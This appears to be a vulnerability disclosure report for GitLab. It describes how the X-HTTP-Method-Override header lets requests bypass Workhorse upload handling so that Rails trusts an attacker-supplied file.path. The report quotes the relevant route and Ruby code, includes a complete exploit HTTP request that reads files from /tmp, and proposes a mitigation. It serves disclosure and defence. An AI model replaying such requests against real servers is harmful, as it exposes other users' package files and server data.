Workhorse bypass leads to package disclosure and file disclosure in `/tmp`
GitLab Workhorse defines a set of routes which are being intercepted before they hit the GitLab rails app.
However those routes might be bypassed by using the X-HTTP-Method-Override
header. Rails will interpret this header for POST
requests, GitLab Workhorse does not.
So for instance the following route:
// Conan Artifact Repository
route("PUT", apiPattern+`v4/packages/conan/`, filestore.BodyUploader(api, proxy, nil)),
The above route will process every PUT
request to the conan package endpoint with the filestore.BodyUploader
. This will set some parameters like file.size
and file.path
for the uploaded file on disk. The Rails counterpart will use the Workhorse-processed file from disk as denoted in file.path
. This can be seen in ee/lib/api/helpers/packages_manager_clients_helpers.rb. The file.
parameters will be processed in lib/uploaded_file.rb within the method from_params
:
def self.from_params(params, field, upload_paths)
path = params["#{field}.path"]
remote_id = params["#{field}.remote_id"]
return if path.blank? && remote_id.blank?
file_path = nil
if path
file_path = File.realpath(path)
paths = Array(upload_paths) << Dir.tmpdir
unless self.allowed_path?(file_path, paths.compact)
raise InvalidPathError, "insecure path used '#{file_path}'"
end
end
UploadedFile.new(file_path,
filename: params["#{field}.name"],
content_type: params["#{field}.type"] || 'application/octet-stream',
sha256: params["#{field}.sha256"],
remote_id: remote_id,
size: params["#{field}.size"])
end
Here especially the path /tmp
is allowed as well as the package upload directory:
paths = Array(upload_paths) << Dir.tmpdir
Now for an actual exploit we can use a request like:
POST /api/v4/packages/conan/v1/files/Hello/0.1/lol+wat/beta/0/export/conanmanifest.txt?file.size=4&file.path=/tmp/test1234 HTTP/1.1
Host: localhost
User-Agent: Conan/1.21.0 (Python 3.8.1) python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-HTTP-Method-Override: put
X-Checksum-Deploy: true
X-Checksum-Sha1: ee96149f7b93af931d4548e9562484bdb6ac8fda
Content-Length: 4
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXQiOjExLCJ1IjoxLCJqdGkiOiIwZDYwY2EwYS1jODUzLTQzY2MtYmJhOS0xNzIzN2U0NDdhZmYiLCJpYXQiOjE1NzgzOTkzNjIsIm5iZiI6MTU3ODM5OTM1NywiZXhwIjoxNTc4NDAyOTYyfQ.-nYgtnuNI1YHwD9-STEuZc5oZD6x3eTuaE-TPsi2QCs
asdf
In the example POST
me get around the Workhorse upload processing and can directly send a disk path (file.path
) to Rails. Rails will interpret it as a PUT
request due to the X-HTTP-Method-Override: put
header. By this we can reach the upload code for the conan packages bypassing Workhorse and read other package files or files in /tmp
. The targeted file will show up in the package content list as conanmanifest.txt
for the example above.
To mitigate this a mechanism like the WorkhorseRequest
module should be used in the affected package manager code. So that the ruby code can verify that the request originates form workhorse.
As suggested by @nick.thomas reading from /tmp
is a S1 issue for certain environments.
A limitation to this however is that the rails process must be able to read and write (delete) the targeted file.